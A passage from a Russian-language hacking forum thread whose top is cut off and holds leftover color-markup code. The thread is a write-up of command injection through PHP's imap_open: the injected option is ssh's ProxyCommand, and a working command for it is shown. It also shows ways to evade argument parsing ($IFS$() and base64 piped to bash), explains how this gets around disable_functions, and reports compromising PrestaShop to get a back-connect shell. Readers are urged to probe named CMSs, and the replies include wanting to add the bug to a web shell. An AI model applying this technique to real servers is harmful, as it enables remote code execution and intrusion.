COLOR="#000000"][COLOR="#0000BB"]TCPSTREAM[/COLOR][COLOR="#007700"]*[/COLOR][COLOR="#0000BB"]tcp_aopen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]NETMBX[/COLOR][COLOR="#007700"]*[/COLOR][COLOR="#0000BB"]mb[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]char[/COLOR][COLOR="#007700"]*[/COLOR][COLOR="#0000BB"]service[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]char[/COLOR][COLOR="#007700"]*[/COLOR][COLOR="#0000BB"]usrbuf[/COLOR][COLOR="#007700"])
{
return[/COLOR][COLOR="#0000BB"]NIL[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#FF8000"]/* always NIL on DOS */
[/COLOR][COLOR="#007700"]}
[/
COLOR][/COLOR

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"]TCPSTREAM[/COLOR][COLOR="#007700"]*[/COLOR][COLOR="#0000BB"]tcp_aopen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]NETMBX[/COLOR][COLOR="#007700"]*[/COLOR][COLOR="#0000BB"]mb[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]char[/COLOR][COLOR="#007700"]*[/COLOR][COLOR="#0000BB"]service[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]char[/COLOR][COLOR="#007700"]*[/COLOR][COLOR="#0000BB"]usrbuf[/COLOR][COLOR="#007700"])
{
return[/COLOR][COLOR="#0000BB"]NIL[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#FF8000"]/* no authenticated opens on Mac */
[/COLOR][COLOR="#007700"]}[/COLOR][/COLOR

Итак, что мы имеем по итогам?

- Вызывается преавторизованная сессия только в линуксе

- Путь к RSH указан хардкорно в makefile, а к ssh не указан и вернее всего не укажется. Как минимум потому что права на запись в /etc/ только у root. Да и не сработало чёт.

Идём дальше. Посмотрим что вообще происходит с RSH в 2к18:

RSH в BSD Unix появился как часть пакета rlogin в 1983 году. 35 лет назад

На сегодняшний день:

RHEL-like: rsh= not found

Debian-like: rsh-> ssh

Arch Linux: rsh= rsh

FreeBSD: rsh = rsh (deprecated)


4) Подготовка мозгов к эксплуатации уязвимости.

Мы уже можем предположить, что мы можем влиять на системный вызов, который запускает rimapd. Как минимум мы передаём туда хостнейм.

Кстати, вызов выглядит так:

Цитата:

Сообщение от None
[pid 4350] execve("/usr/bin/rsh", ["/usr/bin/rsh", "localhost", "-l", "twost", "exec", "/usr/sbin/rimapd"], [/* 54 vars */]

Не буду даже вдаваться в подробности вызова rsh, потому что он обрезан больше чем мусульманский еврей.

Сразу обратим внимание на системы семейства Debian. В них отсутствует rsh, он просто линкуется в ssh. Он то нам и нужен.

https://lh3.googleusercontent.com/Po...bgUG84DK2ntw6Q

Я собрал небольшую статистику по серверам, и вот что вышло (по баннерам web-сервера):

Ubuntu - 2743

Windows Server - 1254

Debian - 909

CentOS - 821

UNIX - 306

Gentoo - 150

FreeBSD - 103

5) Изучаем маны ssh

Если почитать маны ssh, то можно увидеть такой интересный момент

Цитата:

Сообщение от None
$ man ssh
-o option
Can be used to give options in the format used in the configuration file. This is useful for specifying options for which there is no separate command-line flag. For full details of the options listed below, and their possible values, see ssh_config(5).

Мы можем передавать опции при вызове ssh, а среди этих опций есть очень забавная ProxyCommand.Что она делает? Выполняет команду на текущем хосте, перед подключением к серверу.

Ты ведь уже понял, да? Ну скажи что понял?

Цитата:

Сообщение от None
$ ssh -oProxyCommand="touch /tmp/test/123" localhost
ssh_exchange_identification: Connection closed by remote host
$ ls -la /tmp/test/
drwxr-xr-x 2 twost twost 4096 окт 4 17:42 .
drwxrwxrwt 25 root root 3674112 окт 4 17:39 ..
-rw-r--r-- 1 twost twost 0 окт 4 17:42 123

Теперь то точно понял?

6) А мы не только RCE-шим, но еще и bypass-им

https://lh6.googleusercontent.com/jr...nAJ253U8tTjBK8

Нам никак не мешают отключенные системные функции в php, потому что наше rce с помощью ProxyCommand проходит вообще вне php, отдельным процессом, который вызывает библиотека, а не интерпретатор. Такие дела.

7) Вызов RSH -> SSH. Парсинг аргументов.

На этом моменте я уже устал печатать и напишу кратко.

Аргументы парсятся по пробелам, а флаги по слешам. Нам нужно обойти оба.

Пробелы обходим с помощью $IFS$(), а слеши с помощью echo base64decodedstring==|base64 -d| bash

8) PWN3D!

Сломаем-ка PrestaShop для примера:

https://lh6.googleusercontent.com/6J...RpBWGqrAxLYYUo

Ловим бекконект:

https://lh4.googleusercontent.com/J3...XJHQkDYfmW-6Eo

9) Что рекомендую посмотреть?

Я конечно ни на что не намекаю, но я бы на твоем месте, %username%, уже побежал ковырять например:

instantcms

HostCMS

e107_2

prestashop

SuiteCRM

SugarCRM

И возможно что-то еще)

Я кончил.

Спасибо crlfза охуенный таск

Видео доклада с конференции Kaz'Hack'Stan (клик на начало доклада или перемотайте на 6:15):

BabaDook 23.10.2018 21:49

Поздравляю хвост.

BigBear 13.11.2018 19:21

Ссылки на презентации материалов (в том числе доклада по этой теме) - https://mega.nz/#F!Fx5RDKwA!5_9AHQxRpk233nSx-eXP0Q

Alexsize 15.11.2018 17:32

Огонь же

crlf 25.11.2018 17:24

UPD

BabaDook 25.11.2018 18:00

Цитата:

Сообщение от crlf

Так это ты зарепортил или нет ?

crlf 25.11.2018 18:03

Цитата:

Сообщение от BabaDook
BabaDook said:

Так это ты зарепортил или нет ?

Нет, сообщество

crlf 25.11.2018 18:07

Цитата:

Сообщение от BabaDook
BabaDook said:

tsarka?

Кто ж теперь разберёт?

https://twitter.com/search?f=tweets&..._open&src=typd

Доподлинно неизвестно, там ссылок в CVE куча

gena ryzhov 26.11.2018 22:51

Вот блин, стоит хаку в паблик попасть , сразу все бегут стучать, бить себя в грудь , какой мол молодец репорт cve запостил, я даже не успел в свой веб Шелл прикрутить(((

hjvtj_sha 20.04.2019 20:27

я извиняюсь за глупый вопрос. а как реализовать атаку? допустим есть у меня сайт с уязвимостью с imap, как выполнить код на сервере?

попугай 28.08.2019 12:38

Цитата:

Сообщение от gena ryzhov
gena ryzhov said:

Вот блин, стоит хаку в паблик попасть , сразу все бегут стучать, бить себя в грудь , какой мол молодец репорт cve запостил, я даже не успел в свой веб Шелл прикрутить(((

А что её в веб-шелл можно прикрутить ещё?

Цитата:

Сообщение от hjvtj_sha
hjvtj_sha said:

я извиняюсь за глупый вопрос. а как реализовать атаку? допустим есть у меня сайт с уязвимостью с imap, как выполнить код на сервере?

Тоже интересна суть баги.

crlf 28.08.2019 13:35

Цитата:

Сообщение от попугай
попугай said:

А что её в веб-шелл можно прикрутить ещё?

Можно использовать для обхода disable_functions.

Цитата:

Сообщение от hjvtj_sha
hjvtj_sha said:

я извиняюсь за глупый вопрос. а как реализовать атаку? допустим есть у меня сайт с уязвимостью с imap, как выполнить код на сервере?

Цитата:

Сообщение от попугай
попугай said:

Тоже интересна суть баги.

В посте от @Twoster есть пример. С картинками можно посмотреть тут. На данный момент, уже только при подходящей версии PHP, имея возможность передать произвольный хоcт для подключения, получаем RCE (пример).


Время: 17:02